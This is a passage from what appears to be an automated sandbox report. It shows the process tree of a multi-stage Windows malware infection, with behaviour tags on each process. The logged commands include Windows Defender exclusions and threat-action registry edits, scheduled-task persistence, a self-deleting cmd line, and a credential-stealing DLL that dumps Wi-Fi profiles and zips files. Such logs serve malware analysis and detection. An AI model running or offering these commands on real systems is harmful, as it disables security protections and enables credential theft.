        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5096 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:2280
- - C:\Users\Admin\1000017002\c186c6bab0.exe
    "C:\Users\Admin\1000017002\c186c6bab0.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:3876

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:3452

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4756
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3448
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4124
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 880
    3⤵
    - Program crash
    PID:2964
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2064
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4888
  - - C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4632
  - - C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      PID:4276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:3116
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:4868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1608 -s 396
    3⤵
    - Program crash
    PID:1380
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4648
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:988
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 388
    3⤵
    - Program crash
    PID:4532
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Executes dropped EXE
  PID:2696
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1240
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  PID:4124
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5072
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks processor information in registry
    PID:2588
- C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - System policy modification
  PID:5252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe" -Force
    3⤵
    PID:1656
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
    3⤵
    PID:5224
  - - C:\Users\Admin\Pictures\qbGCCmylmrvy74m8zwjmvzSd.exe
      "C:\Users\Admin\Pictures\qbGCCmylmrvy74m8zwjmvzSd.exe"
      4⤵
      Executes dropped EXE
      PID:5760
    - - C:\Users\Admin\AppData\Local\Temp\u4g0.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4g0.0.exe"
        5⤵
        Executes dropped EXE
        
        PID:6008
    - - C:\Users\Admin\AppData\Local\Temp\u4g0.2\run.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4g0.2\run.exe"
        5⤵
        
        PID:356
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        
        PID:5848
    - - C:\Users\Admin\AppData\Local\Temp\u4g0.3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4g0.3.exe"
        5⤵
        
        PID:1424
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5760 -s 1536
        5⤵
        Program crash
        
        PID:1080
  - - C:\Users\Admin\Pictures\eanww91jhKxPtwHIqXkWhefE.exe
      "C:\Users\Admin\Pictures\eanww91jhKxPtwHIqXkWhefE.exe"
      4⤵
      Executes dropped EXE
      PID:4548
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:4880
    - - C:\Users\Admin\Pictures\eanww91jhKxPtwHIqXkWhefE.exe
        
        "C:\Users\Admin\Pictures\eanww91jhKxPtwHIqXkWhefE.exe"
        5⤵
        
        PID:2956
  - - C:\Users\Admin\Pictures\TblXPC6VIUOLjz4wBiio0Akv.exe
      "C:\Users\Admin\Pictures\TblXPC6VIUOLjz4wBiio0Akv.exe"
      4⤵
      Executes dropped EXE
      PID:5796
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:2488
    - - C:\Users\Admin\Pictures\TblXPC6VIUOLjz4wBiio0Akv.exe
        
        "C:\Users\Admin\Pictures\TblXPC6VIUOLjz4wBiio0Akv.exe"
        5⤵
        
        PID:5656
  - - C:\Users\Admin\Pictures\xqAbFXB7SN2xML0e4qBLtAQO.exe
      "C:\Users\Admin\Pictures\xqAbFXB7SN2xML0e4qBLtAQO.exe"
      4⤵
      Modifies firewall policy service
      Windows security bypass
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Windows security modification
      Checks whether UAC is enabled
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5756
  - - C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe
      "C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      Modifies system certificate store
      PID:5900
    - - C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe
        
        C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2c0,0x2c4,0x2c8,0x29c,0x2cc,0x6b74e1d0,0x6b74e1dc,0x6b74e1e8
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5988
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ciXxh3tOmcDJOOlsnGAePy0Q.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ciXxh3tOmcDJOOlsnGAePy0Q.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5600
    - - C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe
        
        "C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5900 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240429231520" --session-guid=1fd64421-a9c5-476c-a01d-869d950a111b --server-tracking-blob="YzFmMDE3ZWI5YmRkOGY5Y2FmZDhjMjEyZjA5ZWU2Mjk0NmI4Mzk0ZDBhZWRjODI5NTVhNzBiYjQxNTA3YjkzNzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTEiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0NDMyNTE4LjI2MzAiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNTY5YmMyMjQtZGJhYS00ZTlhLTg3NDAtNjBlNGI5MTU2MjFmIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C05000000000000
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        
        PID:6112
      - C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe
        
        C:\Users\Admin\Pictures\ciXxh3tOmcDJOOlsnGAePy0Q.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6abce1d0,0x6abce1dc,0x6abce1e8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3808
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
        5⤵
        Executes dropped EXE
        
        PID:3024
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\assistant_installer.exe" --version
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5468
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404292315201\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0x246038,0x246044,0x246050
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5380
  - - C:\Users\Admin\Pictures\0eb6BqvTn5lY3yj9hCvFGnJj.exe
      "C:\Users\Admin\Pictures\0eb6BqvTn5lY3yj9hCvFGnJj.exe"
      4⤵
      Executes dropped EXE
      PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\7zSB958.tmp\Install.exe
        
        .\Install.exe /WkfdidVYT "385118" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:5636
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        7⤵
        
        PID:6040
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:5876
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:5956
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        7⤵
        
        PID:5892
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:5572
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:5592
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        7⤵
        
        PID:6132
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:3416
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:4476
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        7⤵
        
        PID:2304
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:5772
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:5552
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:5188
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:4620
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        10⤵
        
        PID:3128
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        6⤵
        
        PID:4352
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:4400
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 23:16:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSB958.tmp\Install.exe\" Wt /AUgdideuFW 385118 /S" /V1 /F
        6⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:5332
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        6⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        7⤵
        
        PID:5548
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        8⤵
        
        PID:5644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
    3⤵
    PID:5240
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:5572
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:5592
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:5616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\230210488309_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5852
- C:\Users\Admin\AppData\Local\Temp\1000246001\jfesawdr.exe
  "C:\Users\Admin\AppData\Local\Temp\1000246001\jfesawdr.exe"
  2⤵
  - Executes dropped EXE
  PID:1512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
    3⤵
    PID:3684
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
      work.exe -priverdD
      4⤵
      Executes dropped EXE
      PID:2220
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\podaw.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\podaw.exe"
        5⤵
        Executes dropped EXE
        
        PID:3084
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:2112

C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 3448 -ip 3448
1⤵
PID:2380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1608 -ip 1608
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4648 -ip 4648
1⤵
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5588

C:\Users\Admin\AppData\Local\Temp\7zSB958.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSB958.tmp\Install.exe Wt /AUgdideuFW 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:252
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6136
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:3164
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3292
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2912
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:2748
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5088
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4600
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3016
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3220
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4632
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5528
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:748
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3832
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3684
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4484
      - C:\Windows\SysWOW64\gpupdate.exe
        
